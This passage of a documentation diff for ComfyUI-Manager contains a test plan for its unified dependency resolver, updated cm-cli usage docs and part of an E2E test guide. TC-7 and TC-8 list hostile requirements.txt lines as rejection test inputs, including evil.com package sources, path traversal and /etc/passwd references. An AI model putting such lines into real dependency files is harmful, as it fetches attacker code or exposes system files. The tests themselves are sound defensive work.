+- `manager_util.use_unified_resolver` is reset to `False`
+- Falls back to per-node pip install
+
+---
+
+## TC-6: install.py Execution Preserved [P0]
+
+**Precondition**: `use_unified_resolver = true`, ComfyUI running with batch resolution succeeded
+
+**Steps**:
+1. While ComfyUI is running, install a node pack that has both `install.py` and `requirements.txt` via API:
+```bash
+curl -X POST http://localhost:8199/v2/manager/queue/task \
+  -H "Content-Type: application/json" \
+  -d '{
+    "ui_id": "test-installpy",
+    "client_id": "test-client",
+    "kind": "install",
+    "params": {
+      "id": "<node-pack-id-with-install-py>",
+      "version": "latest",
+      "selected_version": "latest",
+      "mode": "remote",
+      "channel": "default"
+    }
+  }'
+```
+> Choose a CNR node pack known to have both `install.py` and `requirements.txt`.
+> Alternatively, use the Manager UI to install the same pack.
+
+2. Check logs after installation
+
+**Verify**:
+- `Install: install script` is printed (install.py runs immediately during install)
+- `Install: pip packages` does NOT appear (deps deferred, not installed per-node)
+- Log: `[UnifiedDepResolver] deps deferred to startup batch resolution for <path>`
+- After **restart**, the new pack's deps are included in batch resolution (`Collected N deps from M sources`)
+
+---
+
+## TC-7: Dangerous Pattern Rejection [P0]
+
+**Precondition**: `use_unified_resolver = true`
+
+**Steps**: Include any of the following in a node pack's `requirements.txt`:
+```
+-r ../../../etc/hosts
+--requirement secret.txt
+-e git+https://evil.com/repo
+--editable ./local
+-c constraint.txt
+--constraint external.txt
+--find-links http://evil.com/pkgs
+-f http://evil.com/pkgs
+evil_pkg @ file:///etc/passwd
+```
+
+**Expected log**:
+```
+[UnifiedDepResolver] rejected dangerous line: '...' from <path>
+```
+
+**Verify**: Dangerous lines are skipped; remaining valid deps are installed normally
+
+---
+
+## TC-8: Path Separator Rejection [P0]
+
+**Precondition**: `use_unified_resolver = true`
+
+**Steps**: Node pack `requirements.txt`:
+```
+../evil/pkg
+bad\pkg
+./local_package
+```
+
+**Expected log**:
+```
+[UnifiedDepResolver] rejected path separator: '...' from <path>
+```
+
+**Verify**: Lines with `/` or `\` in the package name portion are rejected; valid deps on other lines are processed normally
+
+---
+
+## TC-9: --index-url / --extra-index-url Separation [P0]
+
+**Precondition**: `use_unified_resolver = true`
+
+Test all four inline forms:
+
+| # | `requirements.txt` content | Expected package | Expected URL |
+|---|---------------------------|-----------------|--------------|
+| a | `torch --index-url https://example.com/whl` | `torch` | `https://example.com/whl` |
+| b | `torch --extra-index-url https://example.com/whl` | `torch` | `https://example.com/whl` |
+| c | `--index-url https://example.com/whl` (standalone) | *(none)* | `https://example.com/whl` |
+| d | `--extra-index-url https://example.com/whl` (standalone) | *(none)* | `https://example.com/whl` |
+
+**Steps**: Create a node pack with each variant (one at a time or combined with a valid package on a separate line)
+
+**Verify**:
+- Package spec is correctly extracted (or empty for standalone lines)
+- URL is passed as `--extra-index-url` to `uv pip compile`
+- Duplicate URLs across multiple node packs are deduplicated
+- Log: `[UnifiedDepResolver] extra-index-url: <url>`
+
+---
+
+## TC-10: Credential Redaction [P0]
+
+**Precondition**: `use_unified_resolver = true`
+
+**Steps**: Node pack `requirements.txt`:
+```
+private-pkg --index-url https://user:token123@pypi.private.com/simple
+```
+
+**Verify**:
+- `user:token123` does NOT appear in logs
+- Masked as `****@` in log output
+
+---
+
+## TC-11: Disabled Node Packs Excluded [P1]
+
+**Precondition**: `use_unified_resolver = true`
+
+**Steps**: Test both disabled styles:
+1. New style: `custom_nodes/.disabled/test_pack/requirements.txt` with content: `numpy`
+2. Old style: `custom_nodes/test_pack.disabled/requirements.txt` with content: `requests`
+3. Start ComfyUI
+
+**Verify**: Neither disabled node pack's deps are collected (not included in `Collected N`)
+
+---
+
+## TC-12: No Dependencies [P2]
+
+**Precondition**: `use_unified_resolver = true`, only node packs without `requirements.txt`
+
+**Steps**: Start ComfyUI
+
+**Expected log**:
+```
+[UnifiedDepResolver] No dependencies to resolve
+```
+
+**Verify**: Compile/install steps are skipped; startup completes normally
+
+---
+
+## TC-13: Runtime Node Pack Install (Defer Behavior) [P1]
+
+**Precondition**: `use_unified_resolver = true`, batch resolution succeeded at startup
+
+**Steps**:
+1. Start ComfyUI and confirm batch resolution succeeds
+2. While ComfyUI is running, install a new node pack via API:
+```bash
+curl -X POST http://localhost:8199/v2/manager/queue/task \
+  -H "Content-Type: application/json" \
+  -d '{
+    "ui_id": "test-defer-1",
+    "client_id": "test-client",
+    "kind": "install",
+    "params": {
+      "id": "<node-pack-id>",
+      "version": "latest",
+      "selected_version": "latest",
+      "mode": "remote",
+      "channel": "default"
+    }
+  }'
+```
+> Replace `<node-pack-id>` with a real CNR node pack ID (e.g., from the Manager UI).
+> Alternatively, use the Manager UI to install a node pack.
+
+3. Check logs after installation
+
+**Verify**:
+- Log: `[UnifiedDepResolver] deps deferred to startup batch resolution for <path>`
+- `Install: pip packages` does NOT appear
+- After ComfyUI **restart**, the new node pack's deps are included in batch resolution
+
+---
+
+## TC-14: Both Unified Resolver Code Paths [P0]
+
+Verify both code locations that guard per-node pip install behave correctly in unified mode:
+
+| Path | Guard Variable | Trigger | Location |
+|------|---------------|---------|----------|
+| Runtime install | `manager_util.use_unified_resolver` | API install while ComfyUI is running | `glob/manager_core.py` class method (~line 846) |
+| Startup lazy install | `_unified_resolver_succeeded` | Queued install processed at restart | `prestartup_script.py` `execute_lazy_install_script()` (~line 594) |
+
+> **Note**: The standalone `execute_install_script()` in `glob/manager_core.py` (~line 1881) also has a unified resolver guard but is reachable via `update-comfyui`, git-based node pack updates, gitclone operations, CLI, and legacy server paths. The guard is identical to the class method; see [Out of Scope](#out-of-scope-deferred).
+
+**Steps**:
+
+**Path 1 — Runtime API install (class method)**:
+```bash
+# While ComfyUI is running:
+curl -X POST http://localhost:8199/v2/manager/queue/task \
+  -H "Content-Type: application/json" \
+  -d '{
+    "ui_id": "test-path1",
+    "client_id": "test-client",
+    "kind": "install",
+    "params": {
+      "id": "<node-pack-id>",
+      "version": "latest",
+      "selected_version": "latest",
+      "mode": "remote",
+      "channel": "default"
+    }
+  }'
+```
+
+> Choose a CNR node pack that has both `install.py` and `requirements.txt`.
+
+**Path 2 — Startup lazy install (`execute_lazy_install_script`)**:
+1. Create a test node pack with both `install.py` and `requirements.txt`:
+```bash
+mkdir -p "$COMFY_ROOT/custom_nodes/test_pack_lazy"
+echo 'print("lazy install.py executed")' > "$COMFY_ROOT/custom_nodes/test_pack_lazy/install.py"
+echo "chardet" > "$COMFY_ROOT/custom_nodes/test_pack_lazy/requirements.txt"
+```
+2. Manually inject a `#LAZY-INSTALL-SCRIPT` entry into `install-scripts.txt`:
+```bash
+SCRIPTS_DIR="$COMFY_ROOT/user/__manager/startup-scripts"
+mkdir -p "$SCRIPTS_DIR"
+PYTHON_PATH=$(which python)
+echo "['$COMFY_ROOT/custom_nodes/test_pack_lazy', '#LAZY-INSTALL-SCRIPT', '$PYTHON_PATH']" \
+  >> "$SCRIPTS_DIR/install-scripts.txt"
+```
+3. Start ComfyUI (with `use_unified_resolver = true`)
+
+**Verify**:
+- Path 1: `[UnifiedDepResolver] deps deferred to startup batch resolution for <path>` appears, `install.py` runs immediately, `Install: pip packages` does NOT appear
+- Path 2: `lazy install.py executed` is printed (install.py runs at startup), `Install: pip packages for` does NOT appear for the pack (skipped because `_unified_resolver_succeeded` is True after batch resolution)
+
+---
+
+## TC-15: Behavior After Fallback in Same Process [P1]
+
+**Precondition**: Resolver failed at startup (TC-4 or TC-5 scenario)
+
+**Steps**:
+1. Set up conflicting deps (as in TC-4) and start ComfyUI (resolver fails, flag reset to `False`)
+2. While still running, install a new node pack via API:
+```bash
+curl -X POST http://localhost:8199/v2/manager/queue/task \
+  -H "Content-Type: application/json" \
+  -d '{
+    "ui_id": "test-postfallback",
+    "client_id": "test-client",
+    "kind": "install",
+    "params": {
+      "id": "<node-pack-id>",
+      "version": "latest",
+      "selected_version": "latest",
+      "mode": "remote",
+      "channel": "default"
+    }
+  }'
+```
+
+**Verify**:
+- New node pack uses per-node pip install (not deferred)
+- `Install: pip packages` appears normally
+- On next restart with conflicts resolved, unified resolver retries if config still `true`
+
+---
+
+## TC-16: Generic Exception Fallback [P1]
+
+**Precondition**: `use_unified_resolver = true`, an exception escapes before `resolve_and_install()`
+
+This covers the `except Exception` handler at `prestartup_script.py` (~line 793), distinct from `UvNotAvailableError` (TC-3) and `ResolveResult` failure (TC-4/TC-5). The generic handler catches errors in the import, `collect_node_pack_paths()`, `collect_base_requirements()`, or `UnifiedDepResolver.__init__()` — all of which run before the resolver's own internal error handling.
+
+**Steps**:
+1. Make the `custom_nodes` directory unreadable so `collect_node_pack_paths()` raises a `PermissionError`:
+```bash
+chmod a-r "$COMFY_ROOT/custom_nodes"
+```
+2. Start ComfyUI
+3. After test, restore permissions:
+```bash
+chmod u+r "$COMFY_ROOT/custom_nodes"
+```
+
+**Expected log**:
+```
+[UnifiedDepResolver] startup error: ..., falling back to per-node pip
+```
+
+**Verify**:
+- `manager_util.use_unified_resolver` is reset to `False`
+- Falls back to per-node pip install normally
+- Log pattern is `startup error:` (NOT `startup batch failed:` nor `uv not available`)
+
+---
+
+## TC-17: Restart Dependency Detection [P0]
+
+**Precondition**: `use_unified_resolver = true`, automated E2E scripts available
+
+This test verifies that the resolver correctly detects and installs dependencies for node packs added between restarts, incrementally building the dependency set.
+
+**Steps**:
+1. Boot ComfyUI with no custom node packs (Boot 1 — baseline)
+2. Verify baseline deps only (Manager's own deps)
+3. Stop ComfyUI
+4. Clone `ComfyUI-Impact-Pack` into `custom_nodes/`
+5. Restart ComfyUI (Boot 2)
+6. Verify Impact Pack deps are installed (`cv2`, `skimage`, `dill`, `scipy`, `matplotlib`)
+7. Stop ComfyUI
+8. Clone `ComfyUI-Inspire-Pack` into `custom_nodes/`
+9. Restart ComfyUI (Boot 3)
+10. Verify Inspire Pack deps are installed (`cachetools`, `webcolors`)
+
+**Expected log (each boot)**:
+```
+[UnifiedDepResolver] Collected N deps from M sources (skipped S)
+[UnifiedDepResolver] running: ... uv pip compile ...
+[UnifiedDepResolver] running: ... uv pip install ...
+[UnifiedDepResolver] startup batch resolution succeeded
+```
+
+**Verify**:
+- Boot 1: ~10 deps from ~10 sources; `cv2`, `dill`, `cachetools` are NOT installed
+- Boot 2: ~19 deps from ~18 sources; `cv2`, `skimage`, `dill`, `scipy`, `matplotlib` all importable
+- Boot 3: ~24 deps from ~21 sources; `cachetools`, `webcolors` also importable
+- Both packs show as loaded in logs
+
+**Automation**: Use `tests/e2e/scripts/` (setup → start → stop) with node pack cloning between boots.
+
+---
+
+## TC-18: Real Node Pack Integration [P0]
+
+**Precondition**: `use_unified_resolver = true`, network access to GitHub + PyPI
+
+Full pipeline test with real-world node packs (`ComfyUI-Impact-Pack` + `ComfyUI-Inspire-Pack`) to verify the resolver handles production requirements.txt files correctly.
+
+**Steps**:
+1. Set up E2E environment
+2. Clone both Impact Pack and Inspire Pack into `custom_nodes/`
+3. Direct-mode: instantiate `UnifiedDepResolver`, call `collect_requirements()` and `resolve_and_install()`
+4. Boot-mode: start ComfyUI and verify via logs
+
+**Expected behavior (direct mode)**:
+```
+--- Discovered node packs (3) ---     # Manager, Impact, Inspire
+  ComfyUI-Impact-Pack
+  ComfyUI-Inspire-Pack
+  ComfyUI-Manager
+
+--- Phase 1: Collect Requirements ---
+  Total requirements: ~24
+  Skipped: 1                          # SAM2 git+https:// URL
+  Extra index URLs: set()
+```
+
+**Verify**:
+- `git+https://github.com/facebookresearch/sam2.git` is correctly rejected with "rejected path separator"
+- All other dependencies are collected and resolved
+- After install, `cv2`, `PIL`, `scipy`, `skimage`, `matplotlib` are all importable
+- No conflicting version errors during compile
+
+**Automation**: Use `tests/e2e/scripts/` (setup → clone packs → start) with direct-mode resolver invocation.
+
+---
+
+## Validated Behaviors (from E2E Testing)
+
+The following behaviors were confirmed during manual E2E testing:
+
+### Resolver Pipeline
+- **3-phase pipeline**: Collect → `uv pip compile` → `uv pip install` works end-to-end
+- **Incremental detection**: Resolver discovers new node packs on each restart without reinstalling existing deps
+- **Dependency deduplication**: Overlapping deps from multiple packs are resolved to compatible versions
+
+### Security & Filtering
+- **`git+https://` rejection**: URLs like `git+https://github.com/facebookresearch/sam2.git` are rejected with "rejected path separator" — SAM2 is the only dependency skipped from Impact Pack
+- **Blacklist filtering**: `PackageRequirement` objects have `.name`, `.spec`, `.source` attributes; `collected.skipped` returns `[(spec_string, reason_string)]` tuples
+
+### Manager Integration
+- **Manager v4 endpoints**: All endpoints use `/v2/` prefix (e.g., `/v2/manager/queue/status`)
+- **`Blocked by policy`**: Expected when Manager is pip-installed and also symlinked in `custom_nodes/`; prevents legacy double-loading
+- **config.ini path**: Must be at `$COMFY_ROOT/user/__manager/config.ini`, not in the symlinked Manager dir
+
+### Environment
+- **PYTHONPATH requirement**: `comfy` is a local package (not pip-installed); `comfyui_manager` imports from `comfy`, so both require `PYTHONPATH=$COMFY_ROOT`
+- **HOME isolation**: `HOME=$E2E_ROOT/home` prevents host config contamination during boot
+
+---
+
+## Summary
+
+| TC | P | Scenario | Key Verification |
+|----|---|----------|------------------|
+| 1 | P0 | Normal batch resolution | compile → install pipeline |
+| 2 | P1 | Disabled state | No impact on existing behavior |
+| 3 | P0 | uv unavailable fallback | Flag reset + per-node resume |
+| 4 | P0 | Compile failure fallback | Flag reset + per-node resume |
+| 5 | P0 | Install failure fallback | Flag reset + per-node resume |
+| 6 | P0 | install.py preserved | deps defer, install.py immediate |
+| 7 | P0 | Dangerous pattern rejection | Security filtering |
+| 8 | P0 | Path separator rejection | `/` and `\` in package names |
+| 9 | P0 | index-url separation | All 4 variants + dedup |
+| 10 | P0 | Credential redaction | Log security |
+| 11 | P1 | Disabled packs excluded | Both `.disabled/` and `.disabled` suffix |
+| 12 | P2 | No dependencies | Empty pipeline |
+| 13 | P1 | Runtime install defer | Defer until restart |
+| 14 | P0 | Both unified resolver paths | runtime API (class method) + startup lazy install |
+| 15 | P1 | Post-fallback behavior | Per-node pip resumes in same process |
+| 16 | P1 | Generic exception fallback | Distinct from uv-absent and batch-failed |
+| 17 | P0 | Restart dependency detection | Incremental node pack discovery across restarts |
+| 18 | P0 | Real node pack integration | Impact + Inspire Pack full pipeline |
+| CLI-1 | P0 | CLI normal batch resolution | exit 0, deps installed |
+| CLI-2 | P1 | CLI no custom nodes | exit 0, graceful empty |
+| CLI-3 | P0 | CLI uv unavailable | exit 1, error message |
+| CLI-4 | P0 | CLI conflicting deps | exit 1, resolution failed |
+| CLI-5 | P0 | CLI dangerous pattern skip | exit 0, dangerous skipped |
+| CLI-6 | P0 | install --uv-compile single | per-node pip skipped, batch resolve |
+| CLI-7 | P0 | install --uv-compile multi | batch once after all installs |
+
+### Traceability
+
+| Feature Requirement | Test Cases |
+|---------------------|------------|
+| FR-1: Dependency collection | TC-1, TC-11, TC-12 |
+| FR-2: Input sanitization | TC-7, TC-8, TC-10 |
+| FR-3: Index URL handling | TC-9 |
+| FR-4: Batch resolution (compile) | TC-1, TC-4 |
+| FR-5: Batch install | TC-1, TC-5 |
+| FR-6: install.py preserved | TC-6, TC-14 |
+| FR-7: Startup batch integration | TC-1, TC-2, TC-3 |
+| Fallback behavior | TC-3, TC-4, TC-5, TC-15, TC-16 |
+| Disabled node pack exclusion | TC-11 |
+| Runtime defer behavior | TC-13, TC-14 |
+| FR-8: Restart discovery | TC-17 |
+| FR-9: Real-world compatibility | TC-17, TC-18 |
+| FR-2: Input sanitization (git URLs) | TC-8, TC-18 |
+| FR-10: CLI batch resolution | TC-CLI-1, TC-CLI-2, TC-CLI-3, TC-CLI-4, TC-CLI-5 |
+| FR-11: CLI install --uv-compile | TC-CLI-6, TC-CLI-7 |

docs/en/cm-cli.md

@@ -7,40 +7,39 @@
 -= ComfyUI-Manager CLI (V2.24) =-
 
 
-python cm-cli.py [OPTIONS]
+cm-cli [OPTIONS]
 
 OPTIONS:
     [install|reinstall|uninstall|update|disable|enable|fix] node_name ... ?[--channel <channel name>] ?[--mode [remote|local|cache]]
+    [install|reinstall|update|fix] node_name ... ?[--uv-compile]
     [update|disable|enable|fix] all ?[--channel <channel name>] ?[--mode [remote|local|cache]]
+    [update|fix] all ?[--uv-compile]
     [simple-show|show] [installed|enabled|not-installed|disabled|all|snapshot|snapshot-list] ?[--channel <channel name>] ?[--mode [remote|local|cache]]
     save-snapshot ?[--output <snapshot .json/.yaml>]
-    restore-snapshot <snapshot .json/.yaml> ?[--pip-non-url] ?[--pip-non-local-url] ?[--pip-local-url]
-    cli-only-mode [enable|disable]
-    restore-dependencies
+    restore-snapshot <snapshot .json/.yaml> ?[--pip-non-url] ?[--pip-non-local-url] ?[--pip-local-url] ?[--uv-compile]
+    restore-dependencies ?[--uv-compile]
+    install-deps <deps.json> ?[--channel <channel name>] ?[--mode [remote|local|cache]] ?[--uv-compile]
+    uv-compile
     clear
 ```
 
 ## How To Use?
-* You can execute it via `python cm-cli.py`.
+* You can execute it via the `cm-cli` command.
 * For example, if you want to update all custom nodes:
-    * In the ComfyUI-Manager directory, you can execute the command `python cm-cli.py update all`.
-    * If running from the ComfyUI directory, you can specify the path to cm-cli.py like this: `python custom_nodes/ComfyUI-Manager/cm-cli.py update all`.
+    * `cm-cli update all`
 
 ## Prerequisite
 * It must be run in the same Python environment as the one running ComfyUI.
     * If using a venv, you must run it with the venv activated.
     * If using a portable version, and you are in the directory with the run_nvidia_gpu.bat file, you should execute the command as follows:
-        `.\python_embeded\python.exe ComfyUI\custom_nodes\ComfyUI-Manager\cm-cli.py update all`
-* The path for ComfyUI can be set with the COMFYUI_PATH environment variable. If omitted, a warning message will appear, and the path will be set relative to the installed location of ComfyUI-Manager:
-        ```
-        WARN: The `COMFYUI_PATH` environment variable is not set. Assuming `custom_nodes/ComfyUI-Manager/../../` as the ComfyUI path.
-        ```
+        `.\python_embeded\python.exe -m cm_cli update all`
+* The path for ComfyUI must be set with the `COMFYUI_PATH` environment variable.
 
 ## Features
 
 ### 1. --channel, --mode
 * For viewing information and managing custom nodes, you can set the information database through --channel and --mode.
-* For instance, executing the command `python cm-cli.py update all --channel recent --mode remote` will operate based on the latest information from remote rather than local data embedded in the current ComfyUI-Manager repo and will only target the list in the recent channel.
+* For instance, executing the command `cm-cli update all --channel recent --mode remote` will operate based on the latest information from remote rather than local data embedded in the current ComfyUI-Manager repo and will only target the list in the recent channel.
 * --channel, --mode are only available with the commands `simple-show, show, install, uninstall, update, disable, enable, fix`.
 
 ### 2. Viewing Management Information
@@ -49,7 +48,7 @@ OPTIONS:
 
 * `[show|simple-show]` - `show` provides detailed information, while `simple-show` displays information more simply.
 
-Executing a command like `python cm-cli.py show installed` will display detailed information about the installed custom nodes.
+Executing a command like `cm-cli show installed` will display detailed information about the installed custom nodes.
 
 ```
 -= ComfyUI-Manager CLI (V2.24) =-
@@ -66,7 +65,7 @@ FETCH DATA from: https://raw.githubusercontent.com/ltdrdata/ComfyUI-Manager/main
 [    DISABLED   ]  ComfyUI-Loopchain                                 (author: Fannovel16)
 ```
 
-Using a command like `python cm-cli.py simple-show installed` will simply display information about the installed custom nodes.
+Using a command like `cm-cli simple-show installed` will simply display information about the installed custom nodes.
 
 ```
 -= ComfyUI-Manager CLI (V2.24) =-
@@ -95,7 +94,7 @@ ComfyUI-Loopchain
 
 `[install|reinstall|uninstall|update|disable|enable|fix] node_name ... ?[--channel <channel name>] ?[--mode [remote|local|cache]]`
 
-* You can apply management functions by listing the names of custom nodes, such as `python cm-cli.py install ComfyUI-Impact-Pack ComfyUI-Inspire-Pack ComfyUI_experiments`.
+* You can apply management functions by listing the names of custom nodes, such as `cm-cli install ComfyUI-Impact-Pack ComfyUI-Inspire-Pack ComfyUI_experiments`.
 * The names of the custom nodes are as shown by `show` and are the names of the git repositories.
 (Plans are to update the use of nicknames in the future.)
 
@@ -112,35 +111,64 @@ ComfyUI-Loopchain
     * `enable`: Enables the specified custom nodes.
     * `fix`: Attempts to fix dependencies for the specified custom nodes.
 
+#### `--uv-compile` flag (`install`, `reinstall`, `update`, `fix`)
+
+When `--uv-compile` is specified, per-node pip installs are skipped during node operations.
+After all operations complete, `uv pip compile` resolves the full dependency graph in one batch.
+
+* Requires `uv` to be installed.
+* Prevents dependency conflicts between multiple node packs.
+* On resolution failure, displays conflicting packages and which node packs requested them.
+* `reinstall --uv-compile` is mutually exclusive with `--no-deps`.
+
+```bash
+cm-cli install ComfyUI-Impact-Pack ComfyUI-Inspire-Pack --uv-compile
+cm-cli update all --uv-compile
+cm-cli fix ComfyUI-Impact-Pack --uv-compile
+```
+
 
 ### 4. Snapshot Management
-* `python cm-cli.py save-snapshot [--output <snapshot .json/.yaml>]`: Saves the current snapshot.
+* `cm-cli save-snapshot [--output <snapshot .json/.yaml>]`: Saves the current snapshot.
   * With `--output`, you can save a file in .yaml format to any specified path.
-* `python cm-cli.py restore-snapshot <snapshot .json/.yaml>`: Restores to the specified snapshot.
+* `cm-cli restore-snapshot <snapshot .json/.yaml>`: Restores to the specified snapshot.
   * If a file exists at the snapshot path, that snapshot is loaded.
   * If no file exists at the snapshot path, it is implicitly assumed to be in ComfyUI-Manager/snapshots.
   * `--pip-non-url`: Restore for pip packages registered on PyPI.
   * `--pip-non-local-url`: Restore for pip packages registered at web URLs.
-  * `--pip-local-url`: Restore for pip packages specified by local paths. 
+  * `--pip-local-url`: Restore for pip packages specified by local paths.
+  * `--user-directory`: Set the user directory.
+  * `--restore-to`: The path where the restored custom nodes will be installed. (When this option is applied, only the custom nodes installed in the target path are recognized as installed.)
 
+### 5. Dependency Restoration
 
-### 5. CLI Only Mode
-
-You can set whether to use ComfyUI-Manager solely via CLI.
-
-`cli-only-mode [enable|disable]`
-
-* This mode can be used if you want to restrict the use of ComfyUI-Manager through the GUI for security or policy reasons.
-    * When CLI only mode is enabled, ComfyUI-Manager is loaded in a very restricted state, the internal web API is disabled, and the Manager button is not displayed in the main menu.
-
-### 6. Dependency Restoration
-
-`restore-dependencies`
+`restore-dependencies ?[--uv-compile]`
 
 * This command can be used if custom nodes are installed under the `ComfyUI/custom_nodes` path but their dependencies are not installed.
-* It is useful when starting a new cloud instance, like colab, where dependencies need to be reinstalled and installation scripts re-executed.
+* It is useful when starting a new cloud instance, like Colab, where dependencies need to be reinstalled and installation scripts re-executed.
 * It can also be utilized if ComfyUI is reinstalled and only the custom_nodes path has been backed up and restored.
+* Use `--uv-compile` to skip per-node pip installs and resolve all dependencies in one batch instead.
 
-### 7. Clear
+### 6. Install from Dependency File
 
-In the GUI, installations, updates, or snapshot restorations are scheduled to execute the next time ComfyUI is launched. The `clear` command clears this scheduled state, ensuring no pre-execution actions are applied.
+`install-deps <deps.json> ?[--channel <channel name>] ?[--mode [remote|local|cache]] ?[--uv-compile]`
+
+* Installs custom nodes specified in a dependency spec file (`.json`) or workflow file (`.png`/`.json`).
+* Use `--uv-compile` to batch-resolve all dependencies after installation instead of per-node pip.
+
+### 7. uv-compile
+
+`uv-compile ?[--user-directory <path>]`
+
+* Batch-resolves and installs all custom node pack dependencies using `uv pip compile`.
+* Useful for environment recovery or initial setup without starting ComfyUI.
+* Requires `uv` to be installed.
+
+```bash
+cm-cli uv-compile
+cm-cli uv-compile --user-directory /path/to/comfyui
+```
+
+### 8. Clear
+
+In the GUI, installations, updates, or snapshot restorations are scheduled to execute the next time ComfyUI is launched. The `clear` command clears this scheduled state, ensuring no pre-execution actions are applied.

docs/guide/GUIDE_E2E_TEST.md

@@ -0,0 +1,349 @@
+# GUIDE_E2E_TEST — ComfyUI-Manager E2E Test Guide
+
+> Auto-generated by pair-scaffold (test-guide mode). Domain: **api** (primary)
+> with mixed **web** (Playwright UI) + **cli** (cm-cli subprocess) elements.
+> Date: 2026-04-21.
+
+This guide consolidates session-wide E2E knowledge accumulated through the
+WI-A..WI-ZZ sweep. It is the entry point for writing, running, and auditing
+end-to-end tests against the ComfyUI-Manager backend (glob + legacy) and
+the legacy management UI. Companion registry of reusable test patterns:
+`.claude/scaffold/e2e-methods.yml`.
+
+---
+
+## 1. Testing Strategy
+
+Three test surfaces cover different contract layers. Pick the surface that
+matches the contract you are validating — do not default to "everything".
+
+| Surface | Location | Transport | Authoritative for |
+|---------|----------|-----------|-------------------|
+| **pytest E2E** | `tests/e2e/*.py` | Direct HTTP via `requests` against running aiohttp server | Endpoint contract (status, schema, side-effect, CSRF) |
+| **Playwright UI (real)** | `tests/playwright/legacy-ui-*.spec.ts` | Browser click → real backend | UI↔backend wiring against actual server state |
+| **Playwright UI (mock)** | `tests/playwright/legacy-ui-mock-*.spec.ts` | Browser click → `page.route()` intercept | UI→API request shape (URL / method / payload) without backend mutation |
+| **CLI subprocess** | `tests/cli/test_uv_compile.py` | `subprocess.run()` against `cm-cli` | CLI command contract (args, exit code, stdout/stderr) |
+
+**Layering rule**: when both pytest and Playwright can cover a behavior, use
+pytest for backend contract and Playwright for UI wiring. Mock Playwright is
+acceptable ONLY when real execution is infeasible (security gate, destructive
+operation, long-running network) — flag it in the test name suffix
+(`-mock` / `WI-WW-mock`) and document the honesty boundary (§6 below).
+
+---
+
+## 2. Test Categories
+
+| Category | Description | Location | Tools |
+|----------|-------------|----------|-------|
+| pytest E2E direct | Endpoint contract via HTTP | `tests/e2e/` | `requests` + `pytest` |
+| pytest E2E negative | CSRF / 400 / input validation | `tests/e2e/test_e2e_csrf*.py` | `requests` |
+| Playwright real | UI click → real backend | `tests/playwright/legacy-ui-*.spec.ts` | `@playwright/test` |
+| Playwright mock | UI click → `page.route` mocked response | `tests/playwright/legacy-ui-mock-*.spec.ts` | `@playwright/test` `page.route` |
+| CLI subprocess | cm-cli end-to-end | `tests/cli/` | `pytest` + `subprocess.run` |
+
+---
+
+## 3. Critical Environment Requirements
+
+**MUST read before writing any E2E test.** These are not optional; every one
+cost at least one debugging cycle in the sweep.
+
+### 3.1 Editable install requirement
+
+After editing source under `comfyui_manager/`, re-run `uv pip install -e .`
+inside the E2E venv. A running server uses whatever source the venv
+registered at startup — stale source means stale behaviour. After commit
+`99caef55` (CSRF state-changing-endpoint conversion), skipping this step
+caused POST routes to return 405 because the test venv still had the
+pre-conversion routing table.
+
+### 3.2 Legacy vs glob mutex
+
+`comfyui_manager/__init__.py:14-45` loads EITHER the glob manager OR the
+legacy manager — never both. Use the fixture script that matches the
+contract under test:
+
+| Script | Manager | Extra flags |
+|--------|---------|-------------|
+| `tests/e2e/scripts/start_comfyui.sh` | glob | none |
+| `tests/e2e/scripts/start_comfyui_legacy.sh` | legacy | `--enable-manager-legacy-ui` |
+| `tests/e2e/scripts/start_comfyui_strict.sh` | glob | patches `config.ini` to `security_level = strong` (for negative-path `403` tests on `middle` / `middle+` gates) |
+| `tests/e2e/scripts/start_comfyui_permissive.sh` | legacy + relaxed | patches `config.ini` to `security_level = normal-` and sets `ENABLE_LEGACY_UI=1` (for positive-path tests on `high+` gates: `comfyui_switch_version`, `install/git_url`, `install/pip`) |
+
+Mixing them in the same suite is an error — pytest modules that exercise
+legacy-only endpoints MUST live in `test_e2e_legacy_*.py` so the fixture can
+select the legacy script.
+
+### 3.3 Port namespace + PID files
+
+All fixture scripts write `$LOG_DIR/comfyui.${PORT}.pid`. Default ports:
+
+| Manager | Default PORT | PID file |
+|---------|:---:|----------|
+| glob | 8188 | `$LOG_DIR/comfyui.8188.pid` |
+| legacy | 8199 | `$LOG_DIR/comfyui.8199.pid` |
+| strict | 8188 | `$LOG_DIR/comfyui.8188.pid` |
+
+Because the PID file is per-port, glob + legacy suites can run concurrently
+if they pick distinct ports. Never hard-code `8188` / `8199` in your
+assertions — read `PORT` from env.
+
+### 3.4 Safety env var — manager_requirements skip
+
+`start_comfyui.sh` exports `COMFYUI_MANAGER_SKIP_MANAGER_REQUIREMENTS=1`
+(added in WI-WW/WI-YY). Any install/update code path that would otherwise
+reinstall `manager_requirements.txt` sees this flag and skips. Real install
+tests (e.g. `test_e2e_legacy_real_ops.py::TestInstallModelRealDownload`)
+depend on this — without it the test server would re-pin its own
+dependencies mid-test and fail randomly.
+
+### 3.5 E2E_ROOT
+
+`$E2E_ROOT` is the venv root + artifact directory produced by
+`tests/e2e/scripts/setup_e2e_env.sh`. All fixture scripts source from it.
+Export it once per shell session, or pass it per-command:
+
+```bash
+export E2E_ROOT=</path/to/your/e2e-root>   # one-time
+```
+
+**Portability**: never hard-code the absolute path inside test code. Read
+from `os.environ["E2E_ROOT"]` or let the fixture script resolve it.
+
+---
+
+## 4. Fixture Patterns
+
+### 4.1 `comfyui` module-scoped fixture
+
+`tests/e2e/conftest.py` defines a module-scoped `comfyui` fixture that:
+
+1. Invokes `start_comfyui.sh` with the current PORT.
+2. Blocks until the server accepts requests (or timeout).
+3. Yields the server URL for the test.
+4. Tears down with `stop_comfyui.sh` (kills the PID in the `.pid` file).
+
+### 4.2 Fixture variants
+
+| Variant | Fixture script | Extra setup |
+|---------|---------------|-------------|
+| glob (default) | `start_comfyui.sh` | PORT=8188 |
+| legacy | `start_comfyui_legacy.sh` | PORT=8199, `ENABLE_LEGACY_UI=1` |
+| strict | `start_comfyui_strict.sh` | Patches `config.ini` to `security_level = strong` (backup at `config.ini.before-strict`); fixture MUST restore on teardown. Used for negative-path `403` assertions on `middle` / `middle+` gates. |
+| permissive | `start_comfyui_permissive.sh` | Patches `config.ini` to `security_level = normal-` (backup at `config.ini.before-permissive`) and sets `ENABLE_LEGACY_UI=1`; fixture MUST restore on teardown. Used for positive-path execution of `high+` gated endpoints (`comfyui_switch_version`, `install/git_url`, `install/pip`) with hardcoded trusted inputs. |
+
+### 4.3 Example invocation
+
+```bash
+E2E_ROOT=$E2E_ROOT $E2E_ROOT/venv/bin/python -m pytest \
+  tests/e2e/test_e2e_legacy_endpoints.py -v --timeout=300
+```
+
